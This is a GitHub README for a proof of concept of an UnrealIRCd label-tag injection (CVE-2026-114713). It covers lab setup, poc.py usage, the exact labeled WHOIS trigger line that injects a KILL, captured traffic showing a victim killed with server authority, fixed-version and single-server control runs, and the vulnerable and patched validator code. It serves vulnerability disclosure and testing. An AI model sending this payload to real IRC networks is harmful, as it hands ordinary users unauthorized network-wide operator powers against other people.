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GitHubfixedbyreboot/cve-2026-114713-poc

CVE-2026-114713-POC

POC for CVE-2026-114713 - IRCv3 label-tag injection in UnrealIRCd escalating an unprivileged client message to server-to-server command authority on linked-server networks. Vulnerable 6.2.7 vs fixed 6.2.7.1 controls included.

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CVE-2026-114713 - UnrealIRCd IRCv3 label-tag injection to server-authority commands

Language CVSS 8.6 High Affected 6.0.0--6.2.7 Status verified 2026-11-14 Advisory GHSA-237f-p9h6-wq4r License MIT

The labeled-response module echoes the client-supplied IRCv3 "label" message-tag into replies without escaping. A label value containing a newline arrives as the standard IRCv3 tag escape \n, which the server unescapes into a real LF and then writes back raw. When the labeled request is routed to another server (a two-parameter WHOIS <server> <nick> does exactly that), the reply crosses the server-to-server link carrying that raw LF. The receiving server parses one line into two, and the second line - attacker-chosen text glued to the reply - executes as a command sent by its trusted peer. On IRC a message from a linked server skips the privilege checks applied to clients, so an ordinary user can run KILL, GLINE and other server/IRCOp-only commands network-wide with one client message. Fixed in 6.2.7.1 and hot-patch bundle-20261107; KEV-listed 2026-11-13 and exploited in the wild.

  • Affected: UnrealIRCd 6.0.0 - 6.2.7. Precondition: a network with two or more linked servers; a single-server install does not execute the injected line (control run below states this honestly). UnrealIRCd 5.x (EOL) is also affected.
  • Fixed: 6.2.7.1, or hot-patch bundle-20261107 on 6.0.0 - 6.2.7 (no restart)
  • CVSS 3.1: 8.6 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)
  • CWE-140: improper neutralization of delimiters (CWE-93 CRLF injection tracks the same flaw in the Red Hat advisory)
  • Advisory: UnrealIRCd forums, GHSA-237f-p9h6-wq4r, oss-security
  • KEV: added 2026-11-13, federal remediation deadline 2026-11-16

Usage

Bring up the lab (two linked vulnerable servers on 127.0.0.1:6667/6668, the same topology on 6.2.7.1, plus a single-server control):

./setup/build-lab.sh            # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh             # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf

Fire the trigger (attacker and victim on the leaf, WHOIS target on the hub):

python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667

--host/--port is the leaf the attacker and victim connect to; --hub-host/--hub-port is the remote server holding the WHOIS target; --whois-server is the name used in the routed WHOIS. Controls: the same input against the fixed network (--port 6678 --hub-port 6677) and against a single server (--host 127.0.0.1 --port 6687 --single --whois-server single.example.net). Only point this at IRC servers you own.

Expected output

Trigger run against the linked vulnerable network (raw capture: evidence/01-vulnerable-linked-network-trigger.txt). First the pre-check - the same KILL sent directly is rejected, proving the attacker has no operator rights:

--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges

Then one labeled line (tag escapes shown as sent on the wire):

[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'

The victim's socket - killed by a command attributed to the remote SERVER:

--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))

[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
    attributed to the remote SERVER - authority no IRC user has.

The server log on the victim's host names the killer as a server (evidence/04-server-log-detection.txt):

leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)

Control A - same input on the fixed 6.2.7.1 linked network (evidence/02-control-fixed-6.2.7.1-linked-network.txt): the label value contains a newline, so the fix rejects the whole tag; the WHOIS numerics come back as plain unlabeled lines and the victim stays online:

:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).

Control B - same input on a single vulnerable server, no links (evidence/03-control-single-server-precondition.txt): the unescaped label is only ever written back into the attacker's own socket; nothing executes:

[=] CONTROL HOLDS (single-server): no server-authority command executed.

Why it works

Three pieces line up in src/modules/labeled-response.c:

  1. Tag values are unescaped on receipt (message_tag_unescape() in src/modules/message-tags.c maps the IRCv3 escapes \n \r \s \: to real LF/CR/space/semicolon). The client never sends a raw newline; the server manufactures one from two printable bytes.

  2. In 6.2.7 the tag validator accepts anything a cap-bearing client sends up to 64 bytes - there is no character check on the value:

    int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
    {
            if (BadPtr(value))
                    return 0;
    
            if (IsServer(client))
                    return 1;
            ...
            if (strlen(value) <= 64)
                    return 1;
    
  3. The module then formats that stored value into reply lines with raw snprintf calls - gen_start_batch() builds "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s" - bypassing message_tag_escape(), which every other outbound path uses. For a reply routed to a remote labeled client, lr_packet() writes this buffer to the server link, so the LF inside the label splits the stream at the trusted peer: line one is a harmless short @label=p tag segment, line two is whatever the attacker appended, executed as a command from the linked server. The two-parameter WHOIS is the cleanest carrier because it forwards to the target's server and guarantees a labeled reply back across the link.

The 6.2.7.1 fix is exactly the missing check (first diff hunk of the release):

   if (strpbrk(value, " ;\\\r\n"))
           return 0;

Any label containing space, semicolon, backslash, CR or LF is dropped before it is ever stored, so no unescapable byte reaches the reply formatter.

Notes

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